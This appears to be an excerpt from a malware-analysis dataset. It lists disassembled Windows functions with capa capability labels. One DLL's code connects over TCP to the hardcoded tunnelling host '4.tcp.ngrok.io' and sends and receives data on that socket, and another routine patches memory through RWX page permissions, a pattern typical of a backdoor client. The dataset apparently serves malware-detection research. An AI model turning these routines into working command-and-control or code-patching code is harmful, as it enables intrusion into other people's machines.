joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400117b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0x170], rax
lea rcx, [0x140029597]
call fcn.140015f10
mov rax, qword [rbp + 0x1a0]
cmp qword [rax + 0x68], 0
je 0x140011816
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001181d
mov al, 1
jmp 0x14001198d
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x158], rax
call fcn.140012640
mov dword [rbp + 0x160], eax
mov edx, dword [rbp + 0x160]
mov rcx, qword [rbp + 0x1a0]
call qword [rbp + 0x158]
mov dword [rbp + 0x164], eax
call fcn.140012640
mov dword [rbp + 0x168], eax
mov edx, dword [rbp + 0x164]
mov ecx, dword [rbp + 0x168]
call fcn.140012670
movzx eax, al
test eax, eax
je 0x140011880
xor al, al
jmp 0x14001198d
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1a0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x160], eax
cmp dword [rbp + 0x160], 0
je 0x1400118f3
cmp dword [rbp + 0x160], 1
je 0x1400118fe
cmp dword [rbp + 0x160], 3
je 0x14001197c
jmp 0x14001198b
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001194e
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001194e
xor al, al
jmp 0x14001198d
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140011969
mov dword [rbp + 0x154], 1
jmp 0x140011973
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14001198d
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001198d
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001faf0]
call fcn.140015e80
mov rax, rdi
mov rcx, qword [rbp + 0x170]
xor rcx, rbp
call fcn.140016150
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x140013ef0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140029597]
call fcn.140015f10
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140013f47
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140014053
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x140013fec
cmp qword [rbp + 0x28], 0
jle 0x140013fec
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x140013f8c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140009410
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x140014042
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140014042
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140014160
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14001419d
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.140014100
add rsp, 0x58
ret
Function at 0x18000a000
Capabilities:
Create directory

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1801203c0]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rbx, rcx
mov rcx, qword [rdx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 1
jb 0x18000a171
cmp qword [rdx + 0x18], 0xf
jbe 0x18000a043
mov rdx, qword [rdx]
mov qword [rsp + 0x30], 1
lea rax, [0x1800fd838]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
lea rcx, [rsp + 0x48]
call fcn.180031750
nop
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x18000a079
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.180031640
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x18000a0fb
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a0f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000a0f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180090ca4
lea rcx, [rsp + 0x68]
cmp qword [rsp + 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x18000a158
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a153
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000a153
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180090ca4
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1800906c0
add rsp, 0x90
pop rbx
ret
call fcn.180004c20
int3
Function at 0x18000c820
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], recv
mov byte [rcx], bpl
mov dword [rsp + 0x20], 1
lea r14d, [rbp - 6]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x18000c87d
mov rcx, qword [rdx]
mov r8, rcx
jmp 0x18000c880
mov r8, rdx
mov r15, rcx
mov rax, qword [rdx + 0x10]
add rax, r8
mov qword [rsp + 0x28], rax
cmp rcx, rax
je 0x18000c9a0
lea r13, [0x180144740]
nop
shl ebp, 8
movzx eax, byte [r15]
add ebp, eax
add r14d, 8
js 0x18000c932
movsxd r12, ebp
movsxd rdi, r14d
lea ecx, [r14 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov esi, edx
imul eax, edx, 0xfffffffa
add r14d, eax
nop
mov rdx, r13
cmp qword [0x180144758], 0xf
cmova rdx, qword [0x180144740]
mov rax, r12
mov rcx, rdi
sar rax, cl
and eax, 0x3f
movzx r9d, byte [rax + rdx]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x18000c920
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x18000c915
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x18000c928
mov rcx, rbx
call fcn.18003bed0
sub rdi, 6
sub rsi, 1
jne 0x18000c8d0
mov ecx, r14d
inc r15
cmp r15, qword [rsp + 0x28]
jne 0x18000c8a0
cmp ecx, 0xfffffffa
jle 0x18000c9a0
cmp qword [0x180144758], 0xf
cmova r13, qword [0x180144740]
shl ebp, 8
movsxd rax, ebp
add cl, 8
sar rax, cl
and eax, 0x3f
movzx r9d, byte [rax + r13]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x18000c998
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x18000c98d
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x18000c9a0
mov rcx, rbx
call fcn.18003bed0
mov rcx, qword [rbx + 0x10]
test cl, 3
je 0x18000c9e9
nop dword [rax]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x18000c9d5
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x18000c9cd
mov rax, qword [rbx]
mov word [rcx + rax], 0x3d
jmp 0x18000c9e0
mov r9b, 0x3d
mov rcx, rbx
call fcn.18003bed0
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x18000c9b0
mov rax, rbx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000cfc0
Capabilities:
Allocate or change rwx memory

Disassembly:
test rcx, rcx
je 0x18000d036
push rsi
push rdi
sub rsp, 0x38
mov rax, qword [0x1801203c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rsi, rdx
mov qword [rsp + 0x30], rbx
mov ebx, r8d
lea r9, [rsp + 0x20]
mov edx, ebx
mov r8d, 0x40
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rbx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800906c0
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x18000d290
Capabilities:
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0xb0
mov ebx, ecx
mov r8d, ecx
shr r8d, 0x18
mov eax, ecx
shr eax, 0x10
movzx edx, al
mov eax, ecx
shr eax, 8
movzx ecx, al
movzx eax, bl
movabs r9, 0xcbf29ce484222325
xor rax, r9
movabs r9, 0x100000001b3
imul rax, r9
xor rax, rcx
imul rax, r9
xor rax, rdx
imul rax, r9
xor rax, r8
imul rax, r9
mov rcx, qword [0x180141140]
and rcx, rax
shl rcx, 4
add rcx, qword [0x180141128]
mov rax, qword [rcx + 8]
mov rdx, qword [0x180141118]
cmp rax, rdx
je 0x18000d322
mov rcx, qword [rcx]
cmp ebx, dword [rax + 0x10]
je 0x18000d324
cmp rax, rcx
je 0x18000d322
mov rax, qword [rax + 8]
cmp ebx, dword [rax + 0x10]
jne 0x18000d312
jmp 0x18000d324
xor eax, eax
test rax, rax
je 0x18000d33b
cmp rax, rdx
je 0x18000d33b
mov rax, qword [rax + 0x18]
add rsp, 0xb0
pop rbx
ret
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
mov r8d, 1
lea rdx, [0x1800fbf94]
lea rcx, [rsp + 0x28]
call fcn.180005470
nop
mov edx, ebx
lea rcx, [rsp + 0x68]
call fcn.180005570
nop
mov r9d, recv
lea r8, str.Fatal_Error.__x
xor edx, edx
mov rcx, rax
call fcn.180033f00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea r9, [rsp + 0x28]
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x88]
call fcn.1800400e0
nop
lea rcx, [rsp + 0x88]
call fcn.18000acc0
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x18000d419
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d413
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000d413
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180090ca4
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x18000d45a
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d454
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000d454
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180090ca4
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x18000d49d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d498
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000d498
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180090ca4
movdqa xmm0, xmmword [0x180104ac0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x18000d4f0
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000d4eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000d4eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180090ca4
xor eax, eax
add rsp, 0xb0
pop rbx
ret
Function at 0x18000de90
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
add rcx, 8
call fcn.18000f5d0
cmp qword [rbx + 0x18], 0
movabs rdx, 0xcbf29ce484222325
mov qword [rbx], rdx
je 0x18000df06
cmp qword [rbx + 0x20], 0xf
lea r8, [rbx + 8]
jbe 0x18000ded1
mov r8, qword [rbx + 8]
mov r9, r8
mov rcx, r8
jmp 0x18000ded9
lea rcx, [rbx + 8]
lea r9, [rbx + 8]
add r9, qword [rbx + 0x18]
cmp r8, r9
je 0x18000df06
movabs r8, 0x100000001b3
nop dword [rax]
movsx rax, byte [rcx]
inc rcx
imul rdx, r8
xor rdx, rax
mov qword [rbx], rdx
cmp rcx, r9
jne 0x18000def0
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000ee90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rsi
sub rsp, 0x210
mov rax, qword [0x1801203c0]
xor rax, rsp
mov qword [rsp + 0x200], rax
cmp byte [0x180143a20], 0
jne 0x18000f0a0
cmp byte [0x180143df8], 0
jne 0x18000f0a0
mov ecx, 0x202
lea rdx, [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x18000f01f
lea edx, [rax + 1]
mov esi, 2
lea r8d, [rax + 6]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x180143f40], rax
cmp rax, 0xffffffffffffffff
je 0x18000f019
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x30]
mov edx, 0xffff
lea r8d, [rsi + 2]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x18000f019
mov dword [rsp + 0x34], 0
lea r8, [rsp + 0x34]
mov edx, 0x8004667e
mov rcx, qword [0x180143f40]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov byte [0x180143a20], 1
cmp byte [0x180143df8], 0
jne 0x18000f098
lea rcx, str.4.tcp.ngrok.io
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
test rax, rax
je 0x18000efe2
mov qword [rsp + 0x40], 0
mov word [rsp + 0x38], si
movzx ecx, word [0x1801216f0]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x3a], ax
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rsp + 0x3c], eax
xor eax, eax
mov qword [rsp + 0x40], rax
lea r8d, [rsi + 0xe]
lea rdx, [rsp + 0x38]
mov rcx, qword [0x180143f40]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x18000efe2
cmp qword [0x180143f40], 0xffffffffffffffff
je 0x18000efe2
mov byte [0x180143df8], 1
mov al, 1
jmp 0x18000eff8
mov byte [0x180143a20], 0
mov byte [0x180143df8], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.1800906c0
mov rbx, qword [rsp + 0x220]
add rsp, 0x210
pop rsi
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov r8d, 0x1e
lea rdx, str.Authentication_Failed.__400_2_
lea rcx, [rsp + 0x38]
call fcn.180005470
nop
lea rcx, [rsp + 0x38]
call fcn.18000acc0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x18000eff6
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000f08e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000f08e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180090ca4
jmp 0x18000eff6
xor ecx, ecx
call fcn.18000f360
int3
lea rcx, [rsp + 0x38]
call fcn.18000e3a0
nop
xor edx, edx
mov rcx, rax
call fcn.18000f310
int3
Function at 0x18000f0c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x1080
call fcn.1800e6030
sub rsp, rax
mov rax, qword [0x1801203c0]
xor rax, rsp
mov qword [rsp + 0x1070], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
xorps xmm0, xmm0
cmp byte [0x180143df8], dil
jne 0x18000f112
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], recv
mov byte [rcx], dil
jmp 0x18000f2dd
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], recv
mov byte [rsp + 0x50], dil
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0xfff
lea rdx, [rsp + 0x70]
mov rcx, qword [0x180143f40]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [0x180143b34], eax
cmp eax, 1
jge 0x18000f1a0
cmp byte [0x180143df8], 0
je 0x18000f186
mov byte [0x180143a20], 0
mov byte [0x180143df8], 0
mov rcx, qword [0x180143f40]
call qword [sym.imp.WS2_32.dll_closesocket]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
jmp 0x18000f2dd
movsxd r8, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rdi
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x28]
call fcn.180005470
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x50]
call fcn.1800316c0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x18000f213
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000f20e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000f20e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180090ca4
cmp qword [rsp + 0x60], 0
jne 0x18000f28f
cmp byte [0x180143df8], 0
je 0x18000f23f
mov byte [0x180143a20], 0
mov byte [0x180143df8], 0
mov rcx, qword [0x180143f40]
call qword [sym.imp.WS2_32.dll_closesocket]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x18000f2dd
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000f2d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000f2d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.18000c530
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x18000f2dd
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000f2d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000f2d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180090ca4
mov rax, rbx
mov rcx, qword [rsp + 0x1070]
xor rcx, rsp
call fcn.1800906c0
mov rbx, qword [rsp + 0x1098]
add rsp, 0x1080
pop rdi
ret
Function at 0x18000f380
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x1801203c0]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rdx
mov qword [rsp + 0x58], rdx
lea rcx, [rsp + 0x38]
call fcn.18000c240
mov rbx, rax
mov qword [rsp + 0x30], rax
cmp byte [0x180143df8], 0
je 0x18000f439
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rcx, r8
sub rcx, rdx
cmp rcx, 1
jb 0x18000f3ec
lea rax, [rdx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp r8, 0xf
jbe 0x18000f3e4
mov rax, qword [rbx]
mov word [rax + rdx], 0xa
jmp 0x18000f409
mov qword [rsp + 0x20], 1
lea r9, reloc.WS2_32.dll_ioctlsocket
mov edx, 1
mov rcx, rbx
call fcn.18003c040
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x18000f416
mov rdx, qword [rbx]
xor r9d, r9d
mov r8d, dword [rbx + 0x10]
mov rcx, qword [0x180143f40]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x18000f439
mov rcx, rbx
call fcn.1800041a0
jmp 0x18000f466
mov rcx, rbx
call fcn.1800041a0
cmp byte [0x180143df8], 0
je 0x18000f466
mov byte [0x180143a20], 0
mov byte [0x180143df8], 0
mov rcx, qword [0x180143f40]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rcx, rdi
call fcn.1800041a0
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1800906c0
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret